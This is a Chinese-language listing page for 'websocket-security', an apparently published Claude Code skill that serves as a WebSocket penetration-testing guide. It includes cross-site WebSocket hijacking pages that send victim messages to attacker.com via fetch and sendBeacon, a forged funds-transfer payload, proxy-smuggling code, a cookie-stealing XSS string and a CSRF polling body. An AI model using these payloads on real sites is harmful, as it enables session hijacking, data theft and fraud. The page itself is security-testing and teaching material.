mcpField
W
websocket-security

websocket-security

github.com/yaklang安全2.6k3.8k 次安装6 周前更新
代码仓库

关于 websocket-security

websocket-security 是用于检查 WebSocket 握手、会话和消息处理的安全测试技能。内容涵盖 CSWSH、常见漏洞类别,以及用于检查或桥接 WebSocket 流量的工具。

主要功能

  1. 01WebSocket 握手与协议基础
  2. 02CSWSH 风险检查
  3. 03会话与 Origin 验证
  4. 04消息注入与传输风险
  5. 05wsrepl 与 HTTP 桥接工具

适用场景

  1. 01检查握手的 Origin 校验
  2. 02验证会话与权限边界
  3. 03测试消息处理中的注入
  4. 04通过工具检查 WebSocket 流量

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill websocket-security

安装后在 Claude Code 中输入/websocket-security确认已加载。

详细介绍

技能:WebSocket 安全

AI 加载指令:此技能涵盖 WebSocket 协议基础、跨站 WebSocket 劫持(CSWSH)、实用工具桥接和常见漏洞类别。仅在授权测试中使用;将令牌和消息内容视为敏感信息。对于 REST/GraphQL 配套测试,如果工作区中存在 api-sec,请一并加载。

0. 快速开始

审查代理或原始流量时,请留意:

Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol

服务端成功响应指示:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

路由说明:在 Burp/浏览器 DevTools 中筛选 101 和 Upgrade: websocket;如需深入测试 API,请通过 api-sec 对齐身份验证/授权模型。


1. 协议基础

客户端请求(典型)
  • Upgrade: websocket 和 Connection: Upgrade —— 必需的升级握手。
  • Sec-WebSocket-Key —— base64 随机数;服务端使用魔术 GUID 对其进行哈希,并返回 Sec-WebSocket-Accept。
  • Sec-WebSocket-Version: 13 —— 当前标准版本,用于确保浏览器互操作性。
服务端响应
  • HTTP/1.1 101 Switching Protocols —— 握手完成;随后按照 RFC 通过 WebSocket 二进制/文本帧通信。

最简概念流程:

Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

2. 跨站 WebSocket 劫持(CSWSH)

条件
  • 服务端在 WebSocket 握手期间不验证 Origin(或等效绑定),并且
  • 受害者已在目标站点登录(通过 Cookie 或浏览器存储的凭据)。

此时,在受害者浏览器中加载的恶意页面可能会以受害者身份打开 WebSocket;这与 CSRF 类似,但针对的是持久双向通道。

概念验证模式(仅限实验环境/授权目标)
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};

测试说明:确认是否检查 Origin、是否发送 Cookie(SameSite 规则),以及是否需要子协议或自定义标头——缺少这些检查会增加 CSWSH 风险。


3. 使用工具测试

wsrepl
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py

使用插件在 WebSocket 生命周期中重现浏览器 Cookie、标头或令牌刷新行为。

ws-harness(桥接至 HTTP,以供其他工具使用)
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt

使用 SQL 注入工具,通过桥接的 HTTP 接口进行下游测试示例(将 URL 调整为本地监听器):

sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
Burp Suite 生态系统
  • SocketSleuth —— 在 Burp 中检查和操纵 WebSocket 流量。
  • WebSocket Turbo Intruder —— 高速或脚本化消息模糊测试。

4. 常见漏洞

问题影响
缺少 Origin 验证攻击者控制的页面可发起 CSWSH
URL 中包含身份验证令牌(wss://host/ws?token=...)日志、代理、Referer 泄露和浏览器历史记录
消息未进行速率限制滥用、暴力破解、DoS
使用 ws:// 而非 wss://传输内容为明文(MITM)
消息正文中存在注入SQLi、命令注入;如果内容在其他位置存储/反射,还可能导致 XSS

敏感 URL 反模式示例:

wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

优先使用 Sec-WebSocket-Protocol、首条消息身份验证,或符合产品限制的 Cookie + CSRF 令牌模式。


5. 决策树

  1. 识别端点 —— 从 JS 包、Swagger 或 101 响应中查找;记录使用的是 wss 还是 ws。
  2. 审查握手 —— Origin、Host 和 Cookie 策略是否正确?查询字符串中是否包含令牌?
  3. 会话绑定 —— 在 Burp 中使用另一用户的 Cookie 容器重新连接;比较订阅主题和数据泄露情况。
  4. CSWSH —— 加载一个本地 HTML 页面,在受害者会话处于活动状态时连接目标;验证服务端是否拒绝错误的 Origin,或是否使用非 Cookie 密钥。
  5. 消息语义 —— 对 JSON/文本载荷进行模糊测试,检查注入;采用与 HTTP API 测试相同的逻辑。
  6. 传输 —— 标记生产环境中的 ws://;验证 TLS 和 HSTS 是否一致。

6. 相关路由

  • 来自 api-sec — 身份验证、授权、IDOR 和速率限制通常会与同一 WebSocket 路由背后的 HTTP API 相似。

注意:WebSocket 通常与 REST 共用会话和权限模型;使用 api-sec,确保同一后端上的身份验证和资源边界一致。


7. CSWSH — 分步利用

步骤 1:确认 WS 握手未检查 Origin
# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)
步骤 2:构造攻击者页面
<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Connection established as victim (cookies sent automatically)
    console.log('Connected as victim');
    // Send commands as victim
    ws.send(JSON.stringify({action: 'get_profile'}));
    ws.send(JSON.stringify({action: 'list_messages'}));
};

ws.onmessage = function(event) {
    // Exfiltrate all received messages
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: event.data
    });
};

ws.onerror = function(err) {
    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>
步骤 3:窃取 Cookie 和劫持会话
Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent

Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers
步骤 4:以受害者身份读写消息
// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim

ws.onopen = () => {
    // Write: perform actions as victim
    ws.send(JSON.stringify({
        action: 'transfer',
        to: 'attacker_account',
        amount: 10000
    }));
};

ws.onmessage = (e) => {
    const data = JSON.parse(e.data);
    if (data.type === 'balance') {
        // Read: exfiltrate sensitive data
        navigator.sendBeacon('https://attacker.com/data',
            JSON.stringify(data));
    }
};

8. WebSocket 走私

概念

利用 WebSocket 升级绕过反向代理限制,然后通过 WebSocket 连接隧道传输任意 HTTP 流量。

基于升级的代理绕过
1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
   GET /admin HTTP/1.1
   Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content
基于 WebSocket 的 H2 走私
1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic
使用 Python 实现
import websocket
import ssl

ws = websocket.create_connection(
    'wss://target.com/ws',
    header=['Origin: https://target.com'],
    sslopt={"cert_reqs": ssl.CERT_NONE}
)

# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
    b"GET /admin/users HTTP/1.1\r\n"
    b"Host: internal-backend\r\n"
    b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2)  # binary frame
response = ws.recv()
print(response)
特定代理的行为
代理WebSocket 隧道行为
Nginx101 后转发原始 TCP — 如果后端不验证 WS 帧,则可能发生走私
HAProxy取决于 option http-server-close 或 tunnel 模式
AWS ALB终止 WebSocket — 重新封装流量,走私难度更大
Cloudflare检查 WebSocket 帧 — 阻止原始 HTTP 走私
Varnish原生不支持 WebSocket — 升级可能完全绕过缓存

9. Socket.IO 特有漏洞

命名空间注入

Socket.IO 支持命名空间(/admin、/chat)。如果只在默认命名空间上进行授权:

// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
    adminSocket.emit('list_users');
});

// Server may not verify that the client is authorized for /admin namespace
事件名称注入

如果事件名称由用户输入生成:

// Server-side vulnerable pattern:
socket.on(userInput, handler);

// Attacker sends event name that matches internal event:
socket.emit('__disconnect');     // force disconnect other clients
socket.emit('connection');        // re-trigger connection handler
socket.emit('error');             // trigger error handler
滥用确认回调

Socket.IO 确认可以返回数据。如果服务器在确认回调中发送敏感数据:

socket.emit('get_data', {id: 'admin'}, (response) => {
    // response may contain data the client shouldn't have access to
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(response)
    });
});
轮询回退 CSRF

WebSocket 不可用时,Socket.IO 会回退到 HTTP 长轮询。轮询传输使用带 Cookie 的常规 HTTP 请求 → 如果没有额外的令牌验证,则容易受到 CSRF 攻击:

POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream

4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}

10. WebSocket 消息注入

在被拦截的连接中(对 ws:// 进行 MITM)

如果应用使用 ws://(未加密),同一网络上的攻击者可以注入消息:

1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible
应用层注入

如果 WebSocket 消息在未经过清理的情况下被拼接或插值:

// Vulnerable server-side handler:
socket.on('chat', (msg) => {
    // If msg contains JSON metacharacters:
    broadcast(`{"user":"${username}","msg":"${msg}"}`);
    // Injection: msg = '","admin":true,"msg":"hacked'
    // Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});
通过 WebSocket 实现存储型 XSS
1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously

11. 二进制 WebSocket 消息操纵

Protobuf 反序列化

通过 WebSocket 使用 Protocol Buffers 的应用可能容易受到以下攻击:

1. Capture binary WebSocket frame
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
3. Modify field values (e.g., change user_id, amount, role)
4. Re-encode and send modified frame
5. Server deserializes without re-validating field constraints
# Decode captured binary frame
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw

# Output: field structure with types and values
# Modify, re-encode, send back through WebSocket
MessagePack 反序列化
import msgpack
import websocket

ws = websocket.create_connection('wss://target.com/ws')

# Decode received binary message
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}

# Modify and re-send
data['user_id'] = 1  # IDOR: access admin's balance
ws.send(msgpack.packb(data), opcode=0x2)
类型混淆攻击

二进制序列化格式可能导致类型混淆:

# Original: user_id as integer (field type 0)
# Modified: user_id as string "1 OR 1=1" (field type 2)
# If server doesn't validate types after deserialization → SQL injection

# Original: is_admin as boolean false (0x00)
# Modified: is_admin as boolean true (0x01)
# Direct privilege escalation if server trusts deserialized values
二进制 WebSocket 分析工具
工具用途
Burp Suite + SocketSleuth拦截并修改二进制帧
protobuf-inspector解码未知的 protobuf 结构
msgpack-tools对 MessagePack 进行编码/解码的 CLI
wsdump(websocket-client)捕获并重放原始帧
Wireshark在协议层解析 WebSocket 帧

评论

支持 Markdown